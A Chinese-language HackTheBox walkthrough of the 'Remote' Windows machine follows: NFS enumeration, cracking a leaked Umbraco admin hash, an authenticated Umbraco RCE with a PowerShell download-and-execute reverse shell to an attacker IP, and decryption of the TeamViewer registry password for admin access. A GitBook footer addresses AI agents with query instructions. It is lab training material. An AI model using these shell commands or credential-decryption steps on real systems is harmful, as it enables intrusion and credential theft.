> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Remote HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**技能**:

* Web 枚举
* NFS 枚举 - Showmount
* 信息泄露
* 滥用 Umbraco 管理面板
* Umbraco CMS - 通过已认证管理员进行远程代码执行
* 从系统注册表中获取 TeamViewer 密码（AES128 - CBC）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/d7e9a430d5acfb39a12db399fabf60cf4283d17b" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/b75ea8ff49d4252763163dff3bc4f13fba46f006" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**/ 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="/files/4e6cf710471f671300d1430a93ed1f7a7f81ad14" alt=""><figcaption></figcaption></figure>

**使用 extractport 对开放端口进行分析：**/ 使用 extractport 函数以简洁格式显示开放端口并复制到剪贴板。

<figure><img src="/files/191d1ec9c80455c1cec3a1b44792bf5b7d4f1942" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="/files/84997ac900aa32fb090f39ec0418a84424369a77" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/69517b5a22a32f7e4f38ac574abddca6fcea9e14" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件

<figure><img src="/files/83068bc4b1c155ad81fbc60e167be58802fd9c5a" alt="" width="563"><figcaption></figcaption></figure>

### Web（端口 80）：

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="/files/7ac35516d2890b2fad67ad86f44aed3892edbc81" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/05533a444ea67829545f9d66b5ca2ed62a004fa3" alt=""><figcaption></figcaption></figure>

### SMB - 端口 445

列表 **SMB：**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="/files/4d5a92f998f6f99357b7efb2773da0bc7b5dbfed" alt=""><figcaption></figcaption></figure></div>

### **SMB 客户端（空会话）：**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="/files/8123a32df9b8f40afa48c37f2f0a6dab4a400aea" alt=""><figcaption></figcaption></figure>

### FTP（21）匿名

我们可以使用匿名用户通过 FTP 连接，但既不能列出文件，也不能添加文件。

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="/files/3ed2fa9b9d1cf15df2c397d5c767d3deb2559fac" alt=""><figcaption></figcaption></figure>

## NFS 服务（端口 2049）

{% hint style="info" %}
网络文件系统（NFS）是一种 OSI 应用层协议。它用于在本地网络中创建分布式文件系统，使不同连接的系统能够像访问本地文件一样访问远程文件。
{% endhint %}

要列出文件，使用 `挂载`:

```bash
showmount -e 10.10.10.180
```

我们看到一个 `/site_backups` 可供所有人查看。

<figure><img src="/files/08f0b54a98e46364d3d2a5368ee90969f036ed16" alt="" width="563"><figcaption></figcaption></figure>

要导入这个文件，你必须创建一个目录并将其挂载到我们的机器上，如下所示：

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="/files/06e399ff7fb4330de4f99dc776528029737f1337" alt=""><figcaption></figcaption></figure>

使用 `tree`，我们将列出框架中的所有文件夹以获取一个概念：

```
tree -L 2
```

我们看到一个 `.config` 配置和 `sdf` 来自 80 端口的 Umbraco 数据库（一个 CMS）中的文件夹。

<figure><img src="/files/a6be196f497d891db787af6449131233ed6a5754" alt=""><figcaption></figcaption></figure>

该 `.conf` 文件中没有什么有趣的内容，而 `umbraco.sdf` 是一个二进制文件。

<figure><img src="/files/d7714b45d34cfbd4509c40b93a3d066b8ec65ea3" alt=""><figcaption></figcaption></figure>

我们将使用 `strings` 来显示可见字符并将其放入我们的目录中进行详细分析：

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

我们找到了“admin”密码和一个“smith”用户。

<figure><img src="/files/3f42a3313e4148eb85d77fb87ab793af0ead8230" alt=""><figcaption></figcaption></figure>

### 密码破解：

Admin（哈希）： `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/bde22a8a2e0916ff1750da67cd75c01fbb13d1d7" alt=""><figcaption></figcaption></figure>

Admin： `baconandcheese`

#### 由于 SMB 暴露，使用 CrackMapExec 进行身份验证并验证访问权限

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### 没有效果

<figure><img src="/files/c5dc392e7de73837b93810431ac902f6c3be5adc" alt=""><figcaption></figcaption></figure>

## RCE 漏洞（Umbraco CMS）

我们找到了一个管理面板，并将尝试使用 admin 用户进行身份验证：

`admin@htb.local:baconandcheese`

<figure><img src="/files/a33a0cae2754544b617a08a39f05b828eb906fa8" alt=""><figcaption></figcaption></figure>

我们已经获得访问权限。

<figure><img src="/files/71f99323f68a082d77ef6896534c0c5d1a97c6bb" alt=""><figcaption></figcaption></figure>

我们将搜索 `Searchsploit` 这个 CMS 的漏洞，并找到一个适用于 Umbraco 的 NCE 脚本。

<figure><img src="/files/1afcf9e32742cd4269f82fe010023a1e0f815582" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

我们将修改脚本中的登录名、密码和主机设置。

<figure><img src="/files/b5177a227d97aa7ff318b26477ea5413fc80d767" alt="" width="563"><figcaption></figcaption></figure>

**通过 ping 检查连通性：**/ 我们将为服务器执行此命令，并使用 tcpdump 监听

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/d09cec1e3a5c598d7964c85d78268b07ff617286" alt=""><figcaption></figcaption></figure>

一旦我们看到可以执行命令，就会下载 `PS.ps1` 脚本到我们这边。

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾，我们添加如下这一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/ddf649cc5027f9be4a9719661a8a4b61b4bcade7" alt="" width="563"><figcaption></figcaption></figure>

我们将使用 `PS.ps1` 脚本创建一个 Web 服务器：

```bash
python3 -m http.server 80
```

然后我们会修改命令，使其指向我们的 Web 服务器：

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

最后，我们监听 4444 端口：

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/1c3408f695f6b516da783ba495735e7cc8e7fdae" alt=""><figcaption></figcaption></figure></div>

可访问 `user.txt` 文件并发现已安装 TeamViewer

<figure><img src="/files/8af96b91873f1e57b103255974a28cf55e077d95" alt=""><figcaption></figcaption></figure>

## 权限提升：

如果你查看正在运行的任务，可以看到 TeamViewer 7 版。

```powershell
tasklist /svc
```

<figure><img src="/files/f9c80fa87fc4caf1b9c99720e2a86124ca3c5fd5" alt=""><figcaption></figcaption></figure>

搜索 Metasploit 脚本后，我们找到一个可以获取 TeamViewer 密码的脚本：

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="/files/79e9bb0edd068cd9d27e68bbaaaadb0ae432a74c" alt=""><figcaption></figcaption></figure>

在分析脚本时，你必须首先从注册表中获取密钥（取决于版本）：

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

接下来，应检查安全属性，尤其是 AES 密码：

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/2a82f65852124c21e7c9e3abeb3b9aab8abfa24a" alt=""><figcaption></figcaption></figure>

将以下字节放入 `密文`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Python 自动化脚本：

下面是自动化整个过程的脚本：

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="/files/45b98773bac82bc4769392e05c83a9da02e2e35a" alt=""><figcaption></figcaption></figure>

密码是 `!R3m0te!`.

我们将使用 CrackMapExec 检查该密码是否对用户有效 `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="/files/d88de387d14fef5f72855ea211eb1f2b5cea38dd" alt=""><figcaption></figcaption></figure>

我们使用 Evil-WinRM 连接，因为远程 Windows 管理服务在 5985 端口上处于活动状态：

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="/files/fced5b14193fd009e30617c4b7719d50162eada8" alt=""><figcaption></figcaption></figure>

### Root 标志 完成 :)

<figure><img src="/files/6faf4e854f9c95d5dd34cc71777d4bfb1d91aed7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/53bd4c4186ebf2fd958ba11a850ab4179c8ba774" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
